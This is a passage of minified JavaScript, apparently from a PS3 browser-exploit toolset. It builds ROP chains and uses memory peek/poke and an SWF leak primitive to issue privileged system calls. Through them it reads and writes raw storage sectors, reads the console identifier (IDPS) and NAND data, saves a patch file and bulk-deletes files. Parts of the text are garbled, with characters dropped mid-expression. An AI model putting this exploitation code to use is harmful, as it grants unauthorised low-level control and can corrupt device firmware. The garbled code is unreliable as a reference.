Storage Object read - Current Memory Buffer Offset: 0x"+c.toString(16),p=helper.memory.upeek32(e),(0!==l||pStorage Object read error:"+l>0?" 0x"+l.toString(16):" failed to read "+n.toString(16)+" sectors - Number of sectors read: 0x"+p.toString(16)),this.current_sector=this.current_sector+n,c+=n*this.sector_size;return a>0&&(l=helper.rop.rrun(syscall32(helper.sc_ssr,this.device_handle,0,this.current_sector,a,c,e,34)),o+="
Storage Object read - Current Sector: 0x"+this.current_sector.toString(16)+"
Storage Object read - Current Memory Buffer Offset: 0x"+c.toString(16),p=helper.memory.upeek32(e),(0!==l||pStorage Object read error:"+l>0?" 0x"+l.toString(16):" failed to read "+a.toString(16)+" sectors - Number of sectors read: 0x"+p.toString(16)),this.current_sector=this.current_sector+a,c+=a*this.sector_size),o+="
Storage Object read operation complete",Logger.info(o),l},this.write=function(r,s,o){var l="Storage Object write - Number of Sectors: 0x"+r.toString(16),n=-1;if(0!==this.open()||this.device_handle<=0)return Logger.error("Storage Object write aborted"),n;for(var i=rStorage Object write - Current Sector: 0x"+(d+h*i).toString(16)+"
Storage Object write - Current Memory Buffer Offset: 0x"+u.toString(16),c=helper.memory.upeek32(e),0===n&&c===i||(l+="
Storage Object write error:"+n>0?" 0x"+n.toString(16):" failed to write "+i.toString(16)+" sectors - Number of sectors written: 0x"+c.toString(16)),this.current_sector=this.current_sector+i,u+=i*this.sector_size;return p>0&&(n=helper.rop.rrun(syscall32(helper.sc_ssw,this.device_handle,0,d+r-p,p,u+(r-p)*this.sector_size,e,34)),l+="
Storage Object write - Current Sector: 0x"+(d+r-p).toString(16)+"
Storage Object write - Current Memory Buffer Offset: 0x"+u.toString(16),c=helper.memory.upeek32(e),0===n&&c===p||(l+="
Storage Object write error:"+n>0?" 0x"+n.toString(16):" failed to write "+p.toString(16)+" sectors - Number of sectors written: 0x"+c.toString(16)),0===n&&c!==p&&(n=2415919103),this.current_sector=this.current_sector+p,u+=p*this.sector_size),l+="Storage Object write operation complete",Logger.info(l),n},this.close=function(t){var r=0;return this.device_handle>0&&(Logger.info("Storage Object close"),0!==(r=helper.rop.rrun(syscall32(helper.sc_ssc,this.device_handle)))?Logger.error("Storage Object close failed"):(this.device_handle=-1,t||helper.buffer.free([this.buffer.offset]),helper.heap.free([e]))),r}},getIDPS=function(e,t){var r=helper.heap.store(512),s=e.read(1,t,{offset:r,size:512});s>0&&Logger.error("getIDPS: Storage Object Read Error : 0x"+s.toString(16));var o=helper.memory.upeeks(r+helper.idps_offset,16,!1);return helper.heap.free([r]),o},getActiveNandROS=function(e){var t=helper.heap.store(512),r=e.read(1,1024,{offset:t,size:512});r>0&&Logger.error("getActiveNandROS: Storage Object Read Error : 0x"+r.toString(16));var s=helper.memory.upeeks(t,16,!1);return helper.heap.free([t]),s},getDirList=function(e){return getFList(e,1)},getFileList=function(e){return getFList(e,2)},cleanStorage=function(e,t){stdc.memset(e,0,t)},getFItemsList=function(e,t,r){alert("getFList processing start");var s={files:[],folders:[]};if(!helper.worker.fe&&(helper.worker.fe=new workerThread("BGTOOLSET_WKR_FE"),!helper.worker.fe))return alert("FE Worker Thread Creation failed!"),s;helper.fsitems.ret=s,helper.fsitems.op=r,helper.fsitems.dest=t,helper.fsitems.bf=helper.worker.fe.getTLS().offset,alert("BGTOOLSET_WKR_FE created"),helper.memory.upoke32(helper.fsitems.bf,0),helper.memory.upokes(helper.fsitems.bf+4,e.ins[0],!0),alert("Queueing opendir"),helper.worker.fe.run(vsyscall32(helper.sc_fs_opendir,helper.fsitems.bf+4,helper.fsitems.bf),"Scanning Directory "+pp,function(){alert("opendir")},function(){alert("opendir done"),fd=helper.memory.upeek32(helper.fsitems.bf);var t=vsyscall32(helper.sc_fs_readdir,fd,helper.fsitems.bf,helper.fsitems.bf+260)+vsyscall32(helper.sc_fs_readdir,fd,helper.fsitems.bf+268,helper.fsitems.bf+528)+vsyscall32(helper.sc_fs_readdir,fd,helper.fsitems.bf+536,helper.fsitems.bf+796)+vsyscall32(helper.sc_fs_readdir,fd,helper.fsitems.bf+804,helper.fsitems.bf+1064);!function r(s){cleanStorage(helper.fsitems.bf,1280),helper.worker.fe.run(t,"Scanning Directory Item "+(s.files.length+s.folders.length).toString(),function(){alert("readdir")},function(){for(var t=helper.memory.upeeks(helper.fsitems.bf,1072),o=0;o<4;o++){var l=268*o;if(0===parseInt(t.substr(2*(l+264),8),16))return helper.fsitems.ret=s,void helper.worker.fe.run(vsyscall32(helper.sc_fs_closedir,fd),"Scan Directory Close",function(){alert("closedir")},function(){jQuery.each(helper.fsitems.ret.files,function(e,t){}),jQuery.each(helper.fsitems.ret.folders,function(t,r){e.ins.push(r)}),e.outs.push(e.ins.splice(0,1)),0===e.ins.length||getFItemsList(e,helper.fsitems.dest,helper.fsitems.op)});var n=t.substr(2*(l+2),2*parseInt(t.substr(2*(l+1),2),16)).fromAscii();if(0!==n.length&&"."!==n&&".."!==n){var i=parseInt(t.substr(2*l,2),16);2===i?s.files.push(n):1===i&&s.folders.push(n)}}r(s)})}(s)})},getFList=function(e,t){var r=helper.heap.store(e,!0),s=stdc.opendir(r),o=0,l=[];if(s>0)for(;(o=stdc.readdir(s))>0;){var n=helper.memory.upeeks(o+11,256,!0);helper.swf.leakbyte(o+10)===t&&l.push(n)}return stdc.closedir(s),helper.heap.free([r]),l},is_node=function(e,t,r,s){var o=!1;return $.each(t.children,function(t,l){var n=e.get_node(l);if(n.type===s&&n.text===r)return o=!0,!1}),o},is_treebase=function(e,t){return"string"==typeof e?"#"===e:"#"===t.instance.get_type(e)},_is=function(e,t){var r=!1;return $.each(e,function(e,s){if("string"==typeof t){if(t===s)return r=!0,!1}else if(t.id===s)return r=!0,!1}),r},is_parent=function(e,t){return _is(t.node.parents,e)},is_descendant=function(e,t){return _is(t.node.children_d,e)},is_child=function(e,t){return _is(t.node.children,e)},is_sibling=function(e,t){return _is(t.instance.get_node(t.node.parent).children,e)},get_disk_free_size=function(e){var t=helper.heap.store(helper.snull64),r=helper.heap.store(helper.snull64),s=null,o=null,l="string"==typeof e,n=l?helper.heap.store(e,!0):e,i=helper.rop.rrun(syscall32(helper.sc_fs_disk_free,n,t,r));return 0!==i?Logger.error("get_disk_free_size: sys_fs_disk_free error 0x"+i.toString(16)):(s=UInt64(helper.memory.upeeks(t,8)),o=UInt64(helper.memory.upeeks(r,8))),l?helper.heap.free([t,r,n]):helper.heap.free([t,r]),{total:s,available:o}},cellFsGetFreeSize=function(e){var t="string"==typeof e,r=t?helper.heap.store(e,!0):e,s=helper.heap.store(helper.snull64),o=helper.heap.store(),l=null,n=null,i=sys_fs.cellFsGetFreeSize(r,o,s);return 0!==i?Logger.error("cellFsGetFreeSize: error 0x"+i.toString(16)):(l=UInt64(helper.memory.upeeks(s,8)),n=helper.memory.upeek32(o)),t?helper.heap.free([o,s,r]):helper.heap.free([o,s]),{block_size:n,block_num:l}},getMountedPointList=function(e){var t={data:[],metadata:[],with_metadata:[]},r=helper.heap.store(helper.snull64),s=helper.rop.rrun(syscall32(helper.sc_fs_get_mount_info_size,r));0!==s&&Logger.error("testgetMountedPointList: getMountInfoSize error 0x"+s.toString(16));var o=helper.memory.upeek32(r+4),l=helper.heap.store(148*o),n=helper.heap.store(helper.snull64);0!==(s=helper.rop.rrun(syscall32(helper.sc_fs_get_mount_info,l,o,n)))&&Logger.error("testgetMountedPointList: getMountInfo error 0x"+s.toString(16));for(var i=helper.memory.upeek32(n+4),a=1;a0&&(clearInterval(s),s=0)}this.update=function(e){var t=s>0;t&&a(),n(e),t&&i()},this.get=function(){var e=s>0;return e&&a(),n(!0),e&&i(),o},this.loopstart=function(){i()},this.loopstop=function(){a()}},pfobj={patch_fo:null,num:0},savePatchFile=function(){dl_object.buffer&&dl_object.buffer.offset>0&&dl_object.buffer.size>0?(updateProgressDialog({dvalue:0,gvalue:60}),pbfm1.ulog("Preparing to save "+dl_object.default_task+" to "+dl_object.file_path),pfobj.patch_fo=new fileObject(dl_object.file_path,helper.fs_flag_create_rw),pfobj.num=0,updateProgressDialog({dvalue:25}),setTimeout(write_step,250)):(pbfm1.ulog("Invalid buffer error saving "+dl_object.default_task+" at "+dl_object.file_path),updateProgressDialog({dlabel:"Invalid buffer error",istatus:"error-image"}),Logger.error("Invalid buffer error saving "+dl_object.default_task+" at "+dl_object.file_path),updateProgressDialog({dvalue:100,gvalue:100}),dl_object.buffer.offset>2281701376&&dl_object.buffer.offset<2407530496&&helper.heap.free([dl_object.buffer.offset]),jQuery(".preloader").removeClass("ui-helper-hidden").addClass("ui-helper-hidden"))},write_step=function(){Logger.info("write_step: num="+pfobj.num.toString());var e=pfobj.patch_fo.save({offset:dl_object.buffer.offset+1048576*pfobj.num,size:dl_object.buffer.size-1048576*pfobj.num},6==pfobj.num?1048544:1048576,null,null);if(0!==e)return updateProgressDialog({dlabel:"IO errors - cleaning up file operations",dvalue:99,gvalue:99}),pbfm1.ulog("Error saving "+dl_object.default_task+" to "+dl_object.file_path),0!==(e=pfobj.patch_fo.close())?(Logger.error("Error 0x"+e.toString(16)+" closing "+dl_object.default_task+" at "+dl_object.file_path),pbfm1.ulog("Error 0x"+e.toString(16)+" closing "+dl_object.default_task+" at "+dl_object.file_path)):(pbfm1.ulog(dl_object.file_path+" closed"),Logger.info(dl_object.file_path+" closed")),updateProgressDialog({gvalue:100,dlabel:"Idle",glabel:"Downloaded Patch - IO Operations errors - check logs",istatus:"error-image"}),Logger.error("Error 0x"+e.toString(16)+" saving "+dl_object.default_task+" at "+dl_object.file_path),pfobj={patch_fo:null,num:0},void(dl_object=null);if(pfobj.num>=0&&pfobj.num<6)return updateProgressDialog({dvalue:35+10*pfobj.num,gvalue:60+5*pfobj.num}),pfobj.num++,void setTimeout(write_step,250);updateProgressDialog({dvalue:0,gvalue:90,dlabel:"Checking saved file size"}),pbfm1.ulog(dl_object.default_task+" data saved to "+dl_object.file_path),Logger.info(dl_object.default_task+" saved at "+dl_object.file_path);var t=pfobj.patch_fo.getsize();return Logger.info("File Size: 0x"+t.toString(16)),e=pfobj.patch_fo.close(),updateProgressDialog({dvalue:100,gvalue:95}),0!==e?(Logger.error("Error 0x"+e.toString(16)+" closing "+dl_object.default_task+" at "+dl_object.file_path),pbfm1.ulog("Error 0x"+e.toString(16)+" closing "+dl_object.default_task+" at "+dl_object.file_path),updateProgressDialog({gvalue:100,dlabel:"Idle",glabel:"Downloaded Patch - IO Operations errors - check logs",istatus:"error-image"}),pbfm1.ulog(dl_object.default_task+" was saved to "+dl_object.file_path)):(pbfm1.ulog(dl_object.file_path+" closed"),Logger.info(dl_object.file_path+" closed"),t===helper.patchfile_size?updateProgressDialog({gvalue:100,dlabel:"Idle",glabel:"Downloaded Patch file saved successfully",istatus:"success-image"}):updateProgressDialog({gvalue:100,dlabel:"Idle",glabel:"Downloaded Patch - IO Operations errors - check logs",istatus:"error-image"})),pfobj={patch_fo:null,num:0},void(dl_object=null)},save_info=function(e){var t=new Date;if(e.buffer&&e.buffer.offset>0&&e.buffer.size>0){pbfm2.updateStatusText("Saving "+e.default_task+" Progress"),pbfm2.updateProgressDialog({glabel:"Preparing for file operations",gvalue:0},t),pbfm2.ulog("Preparing to save "+e.default_task+" to "+e.file_path);var r=new fileObject(e.file_path,helper.fs_flag_create_rw);pbfm2.updateProgressDialog({glabel:"Saving data to file",gvalue:25},t);var s=r.save(e.buffer,e.buffer.size,null,null),o=!0,l=!1;0!==s?(o=!1,l=!0,pbfm2.ulog("Error saving "+e.default_task+" to "+e.file_path),pbfm2.updateProgressDialog({glabel:"IO errors - cleaning up file operations",gvalue:75},t),Logger.error("Error 0x"+s.toString(16)+" saving "+e.default_task+" at "+e.file_path)):(pbfm2.updateProgressDialog({glabel:"IO Operations OK - cleaning up file operations",gvalue:75},t),pbfm2.ulog(e.default_task+" data saved to "+e.file_path),Logger.info(e.default_task+" saved at "+e.file_path)),0!==(s=r.close())?(l=!0,Logger.error("Error 0x"+s.toString(16)+" closing "+e.default_task+" at "+e.file_path),pbfm2.ulog("Error 0x"+s.toString(16)+" closing "+e.default_task+" at "+e.file_path)):(pbfm2.ulog(e.file_path+" closed"),Logger.info(e.file_path+" closed")),l?(pbfm2.updateProgressDialog({glabel:"IO Operations errors - check logs",gvalue:100,istatus:"error-image"},t),o?pbfm2.ulog(e.default_task+" was saved to "+e.file_path):pbfm2.ulog(e.default_task+" was NOT saved to "+e.file_path)):pbfm2.updateProgressDialog({glabel:"IO operations complete",gvalue:100,istatus:"success-image"},t),delete r}else pbfm2.ulog("Invalid buffer error saving "+e.default_task+" at "+e.file_path),pbfm2.updateProgressDialog({glabel:"Invalid buffer error",gvalue:100,istatus:"error-image"},t),Logger.error("Invalid buffer error saving "+e.default_task+" at "+e.file_path);e.buffer.offset>2281701376&&e.buffer.offset<2407530496&&helper.heap.free([e.buffer.offset]),jQuery(".preloader").removeClass("ui-helper-hidden").addClass("ui-helper-hidden")},getJSTreeData=function(e,t,r,s){if("#"===t.id){var o=getMountedPointList(s);return o.data?Logger.debug(o):Logger.error("Mounted Point List error "+o),o.data}if("file"===t.type)return[];var l=e.get_fullpath(t),n=helper.heap.store(l,!0),i=helper.heap.store(),a=helper.heap.store(260),p=helper.heap.store(8),c=helper.rop.rrun(syscall32(helper.sc_fs_opendir,n,i)),d=helper.memory.upeek32(i),u=0,h=[];if(0===c&&d>=0){for(c=helper.rop.rrun(syscall32(helper.sc_fs_readdir,d,a,p)),u=helper.memory.upeek32(p+4);0===c&&0!==u;){var g=helper.memory.upeeks(a+2,helper.memory.upeek8(a+1),!0);if(g.length>0&&"."!==g&&".."!==g){var f=helper.memory.upeek8(a);2===f&&!0===r?h.push({text:g,type:"file"}):1===f&&h.push({text:g,type:"folder",children:!0})}c=helper.rop.rrun(syscall32(helper.sc_fs_readdir,d,a,p)),u=helper.memory.upeek32(p+4)}c=helper.rop.rrun(syscall32(helper.sc_fs_closedir,d))}return c>0&&Logger.error("getJSTreeData: Error 0x"+c.toString(16)),helper.heap.free([i,n,a,p]),h},getJSTreeData2=function(e,t,r,s){if("#"===t.id){var o=getMountedPointList(s);return o.data?Logger.debug(o):Logger.error("Mounted Point List error "+o),o.data}if("file"===t.type)return[];var l=0,n=0;if(helper.comp.fd<0){helper.comp.ret=[],helper.comp.node=t,l=3;var i=helper.heap.store(),a=helper.heap.store(e.get_fullpath(t),!0);return n=helper.rop.rrun(syscall32(helper.sc_fs_opendir,a,i)),helper.comp.fd=helper.memory.upeek32(i),helper.heap.free([i,a]),setTimeout(function(){e.load_node(t)},1e3),[]}var p=0,c=helper.heap.store(260),d=helper.heap.store(8);if(0===n&&helper.comp.fd>=0){for(var u=l;u<4;u++){if(n=helper.rop.rrun(syscall32(helper.sc_fs_readdir,helper.comp.fd,c,d)),p=helper.memory.upeek32(d+4),0!==n||0===p){if(n>0){Logger.error("getJSTreeData: readdir error 0x"+n.toString(16));break}break}var h=helper.memory.upeeks(c+2,helper.memory.upeek8(c+1),!0);if(h.length>0&&"."!==h&&".."!==h){var g=helper.memory.upeek8(c);2===g&&!0===r?helper.comp.ret.push({text:h,type:"file"}):1===g&&helper.comp.ret.push({text:h,type:"folder",children:!0})}}if(0!==n||0===p)return n>0&&Logger.error("getJSTreeData: readdir 0x"+n.toString(16)),n=helper.rop.rrun(syscall32(helper.sc_fs_closedir,helper.comp.fd)),helper.comp.fd=-1,n>0&&Logger.error("getJSTreeData: closedir Error 0x"+n.toString(16)),helper.heap.free([c,d]),0===helper.comp.ret.length?-1:helper.comp.ret;setTimeout(function(){e.load_node(t)},1250)}else n>0?Logger.error("getJSTreeData: opendir error 0x"+n.toString(16)):(Logger.error("getJSTreeData: opendir bad descriptor"),(n=helper.rop.rrun(syscall32(helper.sc_fs_closedir,helper.comp.fd)))>0?Logger.error("getJSTreeData: closedir error 0x"+n.toString(16)):helper.comp.fd=-1);return helper.heap.free([c,d]),[]},getJSTreeData_fast=function(e,t,r,s){if("#"===t.id)return helper.mplist=getMountedPointList(s),helper.mplist.data?Logger.debug(helper.mplist):Logger.error("Mounted Point List error "+helper.mplist),helper.mplist.data;if("file"===t.type)return[];if(helper.comp.fd<0){helper.comp.ret=[],helper.comp.bf>0&&helper.heap.free([helper.comp.bf]),helper.comp.bf=helper.heap.store(1072),helper.comp.node=t;var o=helper.heap.store(),l=helper.heap.store(e.get_fullpath(t),!0);return helper.rop.run(syscall32(helper.sc_fs_opendir,l,o)),helper.comp.fd=helper.memory.upeek32(o),helper.heap.free([o,l]),helper.comp.sfread=syscall32(helper.sc_fs_readdir,helper.comp.fd,helper.comp.bf,helper.comp.bf+260)+syscall32(helper.sc_fs_readdir,helper.comp.fd,helper.comp.bf+268,helper.comp.bf+528)+syscall32(helper.sc_fs_readdir,helper.comp.fd,helper.comp.bf+536,helper.comp.bf+796)+syscall32(helper.sc_fs_readdir,helper.comp.fd,helper.comp.bf+804,helper.comp.bf+1064),setTimeout(function(){e.load_node(t)},500),[]}if(helper.comp.fd>=0){helper.rop.run(helper.comp.sfread);for(var n=helper.memory.upeeks(helper.comp.bf,1072),i=0,a=0;a<4;a++){var p=268*a;if(0===(i=parseInt(n.substr(2*(p+264),8),16)))break;var c=n.substr(2*(p+2),2*parseInt(n.substr(2*(p+1),2),16)).fromAscii();if(0!==c.length&&"."!==c&&".."!==c){var d=parseInt(n.substr(2*p,2),16);if(2===d&&!0===r)helper.comp.ret.push({text:c,type:"file"});else{if(1!==d)continue;helper.comp.ret.push({text:c,type:"folder",children:!0})}}}if(0===i)return setTimeout(function(){helper.rop.run(syscall32(helper.sc_fs_closedir,helper.comp.fd)),helper.comp.fd=-1,helper.heap.free([helper.comp.bf]),helper.comp.bf=0,helper.comp.sfread=""},500),0===helper.comp.ret.length?-1:helper.comp.ret;setTimeout(function(){e.load_node(t)},500)}else Logger.error("getJSTreeData: opendir bad descriptor"),helper.rop.run(syscall32(helper.sc_fs_closedir,helper.comp.fd)),helper.comp.fd=-1,helper.comp.sfread="";return[]},getJSTreeData_wk=function(e,t,r,s){if("#"===t.id)return helper.mplist=getMountedPointList(s),helper.mplist.data?Logger.debug(helper.mplist):Logger.error("Mounted Point List error "+helper.mplist),helper.mplist.data;if("file"===t.type)return[];if(!0===helper.comp.done)return helper.comp.done=!1,Logger.debug("getJSTreeData_wk processing done"),0===helper.comp.ret.length?-1:helper.comp.ret;if(helper.comp.fd<0){if(Logger.debug("getJSTreeData_wk processing start"),!helper.worker.fe&&(helper.worker.fe=new workerThread("BGTOOLSET_WKR_FE"),!helper.worker.fe))return Logger.error("FE Worker Thread Creation failed!"),[];helper.comp.bf=helper.worker.fe.getTLS().offset,helper.comp.ret=[],helper.comp.node=t;var o=e.get_fullpath(helper.comp.node);cleanStorage(helper.comp.bf,1280),helper.memory.upokes(helper.comp.bf+8,o,!0),helper.worker.fe.run(vsyscall32(helper.sc_fs_opendir,helper.comp.bf+8,helper.comp.bf),"Scanning Directory "+o,function(){Logger.debug("opendir: "+o)},function(){helper.comp.fd=helper.memory.upeek32(helper.comp.bf),helper.comp.sfread=vsyscall32(helper.sc_fs_readdir,helper.comp.fd,helper.comp.bf,helper.comp.bf+260)+vsyscall32(helper.sc_fs_readdir,helper.comp.fd,helper.comp.bf+268,helper.comp.bf+528)+vsyscall32(helper.sc_fs_readdir,helper.comp.fd,helper.comp.bf+536,helper.comp.bf+796)+vsyscall32(helper.sc_fs_readdir,helper.comp.fd,helper.comp.bf+804,helper.comp.bf+1064),e.load_node(helper.comp.node)})}else helper.worker.fe.run(helper.comp.sfread,"Scanning Directory Item "+helper.comp.ret.length.toString(),function(){cleanStorage(helper.comp.bf,1280),Logger.debug("readdir: 0x"+helper.comp.fd.toString(16))},function(){for(var t=helper.memory.upeeks(helper.comp.bf,1072),s=0;s<4;s++){var o=268*s;if(0===parseInt(t.substr(2*(o+264),8),16)){helper.comp.done=!0,helper.worker.fe.run(vsyscall32(helper.sc_fs_closedir,helper.comp.fd),"Scan Directory Close",function(){Logger.debug("closedir 0x"+helper.comp.fd.toString(16))},function(){helper.comp.fd=-1,e.load_node(helper.comp.node)});break}var l=t.substr(2*(o+2),2*parseInt(t.substr(2*(o+1),2),16)).fromAscii();if(0!==l.length&&"."!==l&&".."!==l){var n=parseInt(t.substr(2*o,2),16);2===n&&!0===r?helper.comp.ret.push({text:l,type:"file"}):1===n&&helper.comp.ret.push({text:l,type:"folder",children:!0})}3===s&&(cleanStorage(helper.comp.bf,1280),e.load_node(helper.comp.node))}});return[]};function scanContext(e,t,r){this.tree_instance=e,this.node=t,this.tree_data=[],this.ready=!1,this.to_reset=!1,this.scan_base=e.get_fullpath(t),this.currentfd=-1,this.sfread="",this.tls=0,this.totalSize=UInt64("0"),this.scanQ=new FIFOQ,this.scanQ.add(this.scan_base),this.todoFolderQ=new FIFOQ,this.todoFileQ=new FIFOQ,this.cb=r||null,this.reset=function(e,t,r){this.tree_instance=e,this.node=t,this.tree_data=[],this.ready=!1,this.to_reset=!1,this.scan_base=e.get_fullpath(t),this.currentfd=-1,this.sfread="",this.tls=0,this.scanQ=new FIFOQ,this.scanQ.add(this.scan_base),this.todoFolderQ=new FIFOQ,this.todoFileQ=new FIFOQ,this.totalSize=UInt64("0"),this.cb=r||null}}var getStat=function(e){var t=helper.heap.store(128),r=helper.heap.store(e,!0),s=helper.rop.rrun(syscall32(helper.sc_fs_stat,r,t)),o=helper.memory.upeek32(t+helper.stat_size_offset),l=helper.memory.upeeks(t+32,8),n=helper.memory.upeeks(t+24,8);return ret={size:o,ctime:l,mtime:n},helper.heap.free([t,r]),0!==s?(Logger.error("getStat "+e+" error: 0x"+s),-1):ret},getMPList=function(e){var t=[],r=helper.heap.store(helper.snull64),s=helper.rop.rrun(syscall32(helper.sc_fs_get_mount_info_size,r));0!==s&&Logger.error("getMPList: getMountInfoSize error 0x"+s.toString(16));var o=helper.memory.upeek32(r+4),l=helper.heap.store(148*o),n=helper.heap.store(helper.snull64);0!==(s=helper.rop.rrun(syscall32(helper.sc_fs_get_mount_info,l,o,n)))&&Logger.error("getMPList: getMountInfo error 0x"+s.toString(16));for(var i=helper.memory.upeek32(n+4),a=1;a0?(alert("opendir failed: "+helper.sctx.scanQ.first()),helper.sctx.scanQ.remove(),alert("Continue with next entry: "+helper.sctx.scanQ.first())):(helper.sctx.currentfd=helper.memory.upeek32(helper.sctx.tls),alert("opendir done fd: 0x"+helper.sctx.currentfd.toString(16)+" "+helper.sctx.scanQ.first()),helper.comp.sfread=vsyscall32(helper.sc_fs_readdir,helper.sctx.currentfd,helper.sctx.tls,helper.sctx.tls)+syscall32(helper.sc_fs_readdir,helper.sctx.currentfd,helper.sctx.tls+292,helper.sctx.tls+8)+syscall32(helper.sc_fs_readdir,helper.comp.fd,helper.sctx.tls+552,helper.sctx.tls+16)+syscall32(helper.sc_fs_readdir,helper.comp.fd,helper.sctx.tls+812,helper.sctx.tls+24),cleanStorage(helper.sctx.tls,1280)),delete_dir()})}helper.worker.fe.run(helper.sctx.sfread,"Scanning Directory Item "+(helper.sctx.todoFolderQ.length()+helper.sctx.todoFileQ.length()).toString(),function(){alert("readdir")},function(){for(var e=helper.memory.upeeks(helper.sctx.tls,1072),t=0;t<4;t++){var r=260*t+32;if(0===parseInt(e.substr(4*t*2,8),16))return void helper.worker.fe.run(vsyscall32(helper.sc_fs_closedir,helper.sctx.currentfd),"Scan Directory Close",function(){alert("closedir")},function(){helper.sctx.currentfd=-1,helper.sctx.scanQ.remove(),delete_dir()});var s=e.substr(2*(r+2),2*parseInt(e.substr(2*(r+1),2),16)).fromAscii();if(0!==s.length&&"."!==s&&".."!==s){var o=parseInt(e.substr(2*r,2),16);2===o?helper.sctx.todoFileQ.add(helper.sctx.scan_base+"/"+s):1===o&&(helper.sctx.todoFolderQ.add(helper.sctx.scan_base+"/"+s),helper.sctx.scanQ.add(helper.sctx.scan_base+"/"+s))}}delete_dir()})}else{var t=0,r=[],s=[],o=0,l=0;function n(e){var i=e.length(),a=Math.floor(i/128),p=i%128;l=p>0&&t+1===a?p:0===p&&0===a?0:80;var c="";if(s=[],i>0&&l>0&&l<=128&&cleanStorage(helper.sctx.tls,512*l),e===helper.sctx.todoFileQ){if(0===i)return t=0,void n(helper.sctx.todoFolderQ);for(o=0;o508?(Logger.error("unlink error - Path length > 508 characters not supported: "+s[o]),helper.memory.upoke32(helper.sctx.tls+(512*o+508),4294967295)):(helper.memory.upokes(helper.sctx.tls+200*o,s[o],!0),c+=vsyscall32(helper.sc_fs_unlink,helper.sctx.tls+512*o)+vstore_r3_word(helper.sctx.tls+(512*o+508)));helper.worker.fe.run(c,"Deleting "+l.toString()+" files",function(){alert("Deleting "+l.toString()+" files")},function(){for(o=0;o0?"Some errors occurred during the deletion process":"",error_count:r.length,err_log:r.length>0?r:0}));for(o=0;o508?(Logger.error("rmdir error - Path length > 508 characters not supported: "+s[o]),helper.memory.upoke32(helper.sctx.tls+(512*o+508),4294967295)):(helper.memory.upokes(helper.sctx.tls+200*o,s[o],!0),c+=vsyscall32(helper.sc_fs_rmdir,helper.sctx.tls+512*o)+vstore_r3_word(helper.sctx.tls+(512*o+508)));helper.worker.fe.run(c,"Deleting "+l.toString()+" folders",function(){alert("Deleting "+l.toString()+" folders")},function(){for(o=0;o0?confirmDialog(helper.sctx.todoFileQ.length()>0?"Do you really want to delete the current selection of "+helper.sctx.todoFileQ.length()+" files & "+helper.sctx.todoFolderQ.length()+" folders?":"Do you really want to delete the current selection of "+helper.sctx.todoFolderQ.length()+" folders?","Confirm deletion",n,helper.sctx.todoFileQ.length()>0?helper.sctx.todoFileQ:helper.sctx.todoFolderQ,null,null):helper.sctx.todoFileQ.length()>0&&confirmDialog("Do you really want to delete the current selection of "+helper.sctx.todoFileQ.length()+" files","Confirm deletion",n,helper.sctx.todoFileQ,null,null)}},scan_dir=function(e,t){if(helper.sctx&&helper.sctx.scanQ&&!0!==helper.sctx.ready){if(0===helper.sctx.scanQ.length()){var r,s,o=helper.sctx.todoFolderQ.length(),l=helper.sctx.todoFileQ.length();if(0===o)helper.sctx.tree_data=-1;else for(helper.sctx.tree_data=[],r=0;r0)alert("opendir fd 0x"+helper.memory.upeek32(helper.sctx.tls)+" "+helper.memory.upeeks(helper.sctx.tls+8,helper.sctx.scanQ.first().length,!0)+" failed error: 0x"+r.toString(16)),helper.sctx.scanQ.remove();else{helper.sctx.currentfd=helper.memory.upeek32(helper.sctx.tls);var s=sys_fs.getOPDbyName("cellFsGetDirectoryEntries");helper.sctx.sfread=vcall_subByOpd(s,helper.sctx.currentfd,helper.sctx.tls+16,312,helper.sctx.tls)+vcall_subByOpd(s,helper.sctx.currentfd,helper.sctx.tls+328,312,helper.sctx.tls+4)+vcall_subByOpd(s,helper.sctx.currentfd,helper.sctx.tls+640,312,helper.sctx.tls+8)+vcall_subByOpd(s,helper.sctx.currentfd,helper.sctx.tls+952,312,helper.sctx.tls+12),cleanStorage(helper.sctx.tls,1280)}scan_dir(e,t)})}helper.worker.fe.run(helper.sctx.sfread,"Scanning Directory Item "+(helper.sctx.todoFolderQ.length()+helper.sctx.todoFileQ.length()).toString(),function(){},function(){for(var r=helper.memory.upeeks(helper.sctx.tls,1264),s=0;s<4;s++){var o=312*s+16;if(0===parseInt(r.substr(4*s*2,8),16))return void helper.worker.fe.run(vsyscall32(helper.sc_fs_closedir,helper.sctx.currentfd),"Scan Directory Close",function(){},function(){helper.sctx.currentfd=-1,helper.sctx.scanQ.remove(),scan_dir(e,t)});var l=r.substr(2*(o+54),2*parseInt(r.substr(2*(o+53),2),16)).fromAscii();if(0!==l.length&&"."!==l&&".."!==l){var n=parseInt(r.substr(2*(o+52),2),16),i=new Date(1e3*UInt64(r.substr(2*(o+28),16)).toJSNumber()),a=new Date(1e3*UInt64(r.substr(2*(o+20),16)).toJSNumber()),p=new Date(1e3*UInt64(r.substr(2*(o+12),16)).toJSNumber());parseInt(r.substr(2*o,8),16);if(2!==n||e)1===n&&(helper.sctx.todoFolderQ.add({Filename:l,"File Type":0,Preview:"fa fa-folder-o fa-3x",Path:helper.sctx.scanQ.first()+"/"+l+"/",Error:"No error",Code:0,Properties:{"Date Created":i.getDay().toString8(10)+"/"+i.getMonth().toString8(10)+"/"+i.getFullYear().toString16(10)+" "+i.getHours().toString8(10)+":"+i.getMinutes().toString8(10),"Date Modified":a.getDay().toString8(10)+"/"+a.getMonth().toString8(10)+"/"+a.getFullYear().toString16(10)+" "+a.getHours().toString8(10)+":"+a.getMinutes().toString8(10),"Date Accessed":p.getDay().toString8(10)+"/"+p.getMonth().toString8(10)+"/"+p.getFullYear().toString16(10)+" "+p.getHours().toString8(10)+":"+p.getMinutes().toString8(10),Width:null,Height:null,Size:0}}),t&&helper.sctx.scanQ.add(helper.sctx.scanQ.first()+"/"+l));else{var c=UInt64(r.substr(2*(o+36),16)),d=l.lastIndexOf("."),u=d>=0?l.substr(d):"";helper.sctx.todoFileQ.add({Filename:l,"File Type":u,Preview:"fa fa-file-o",Path:helper.sctx.scanQ.first()+"/"+l,Error:"No error",Code:0,Properties:{"Date Created":i.getDay().toString8(10)+"/"+i.getMonth().toString8(10)+"/"+i.getFullYear().toString16(10)+" "+i.getHours().toString8(10)+":"+i.getMinutes().toString8(10),"Date Modified":a.getDay().toString8(10)+"/"+a.getMonth().toString8(10)+"/"+a.getFullYear().toString16(10)+" "+a.getHours().toString8(10)+":"+a.getMinutes().toString8(10),"Date Accessed":p.getDay().toString8(10)+"/"+p.getMonth().toString8(10)+"/"+p.getFullYear().toString16(10)+" 